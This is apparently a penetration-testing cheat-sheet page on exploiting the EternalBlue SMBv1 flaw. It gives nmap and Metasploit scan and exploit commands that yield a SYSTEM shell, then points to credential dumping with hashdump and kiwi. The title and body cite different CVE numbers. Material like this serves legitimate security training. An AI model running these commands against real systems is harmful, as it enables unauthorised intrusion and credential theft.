EternalBlue (CVE-2017-0144): Exploiting SMBv1

EternalBlue exploits a flaw in the SMBv1 protocol (MS17-010 / CVE-2017-0143) to execute arbitrary code without any credentials, resulting in a direct SYSTEM-level shell. Developed by the NSA, leaked by Shadow Brokers in 2017, used in WannaCry/NotPetya. It still works against any unpatched target from that era.

Vulnerable targets: Windows Vista, 7, 8.1, 10, Server 2008/2008 R2, Server 2012.

Confirm the target is vulnerable

nmap -p 445 --script=smb-vuln-ms17-010 <target_ip>

# or inside Metasploit
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS <target_ip>
run

Exploit

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target_ip>
run
# → SYSTEM shell / meterpreter session

After getting a SYSTEM-level meterpreter session, high-level commands like hashdump and kiwi work without any further escalation.

SMB exploitation: the credential-based PsExec path alongside this same EternalBlue path
SMB & NetBIOS enumeration: confirm SMBv1 and gather share/user info first
Mimikatz & Kiwi: dumping credentials from the SYSTEM session with kiwi
Windows hash dumping and pass-the-hash: what to do with the hashdump output

Confirm the target is vulnerable

Exploit

Related